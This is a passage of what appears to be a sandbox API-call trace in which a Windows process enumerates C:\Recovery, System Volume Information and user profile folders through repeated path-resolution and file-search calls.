[0080.201] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.201] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.201] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.201] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.201] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.201] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.202] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.202] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.202] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.202] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.202] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.202] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.202] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.202] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.202] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.202] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.202] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.203] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e9c0) returned 1 [0080.203] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", nBufferLength=0x105, lpBuffer=0x1ca2e4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpFilePart=0x0) returned 0x30 [0080.203] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", lpFilePart=0x0) returned 0x31 [0080.203] FindFirstFileW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*", lpFindFileData=0x1ca2e660 | out: lpFindFileData=0x1ca2e660*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0080.203] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.204] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x27c2fae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0x0, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1 [0080.204] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 1 [0080.204] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 0 [0080.204] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0080.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e9a0) returned 1 [0080.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e990) returned 1 [0080.204] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ca2e7a0 | out: lpFindFileData=0x1ca2e7a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.204] FindClose (in: hFindFile=0x1a578ba0 | out: hFindFile=0x1a578ba0) returned 1 [0080.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2ea00) returned 1 [0080.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e9f0) returned 1 [0080.205] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ca2e800 | out: lpFindFileData=0x1ca2e800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0080.205] GetFullPathNameW (in: lpFileName="C:\\System Volume Information", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\System Volume Information", lpFilePart=0x0) returned 0x1c [0080.205] GetFullPathNameW (in: lpFileName="C:\\System Volume Information", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\System Volume Information", lpFilePart=0x0) returned 0x1c [0080.205] GetFullPathNameW (in: lpFileName="C:\\System Volume Information", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\System Volume Information", lpFilePart=0x0) returned 0x1c [0080.205] GetFullPathNameW (in: lpFileName="C:\\System Volume Information", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\System Volume Information", lpFilePart=0x0) returned 0x1c [0080.205] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ca2e800 | out: lpFindFileData=0x1ca2e800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0080.205] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.205] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.205] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.205] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.205] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.205] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.205] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.206] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.206] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.206] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.206] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.206] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.206] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.206] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.206] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.206] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.206] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.206] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.206] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.206] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.206] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.206] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2ea20) returned 1 [0080.207] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1ca2e510, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0080.207] GetFullPathNameW (in: lpFileName="C:\\Users\\", nBufferLength=0x105, lpBuffer=0x1ca2e4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\", lpFilePart=0x0) returned 0x9 [0080.207] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x1ca2e6c0 | out: lpFindFileData=0x1ca2e6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ba0 [0080.207] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ca2e7a0 | out: lpFindFileData=0x1ca2e7a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.207] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ca2e7a0 | out: lpFindFileData=0x1ca2e7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0080.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.209] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.209] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e9c0) returned 1 [0080.209] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1ca2e4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0080.209] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpFilePart=0x0) returned 0x1e [0080.209] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x1ca2e660 | out: lpFindFileData=0x1ca2e660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0080.209] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.209] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0080.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) 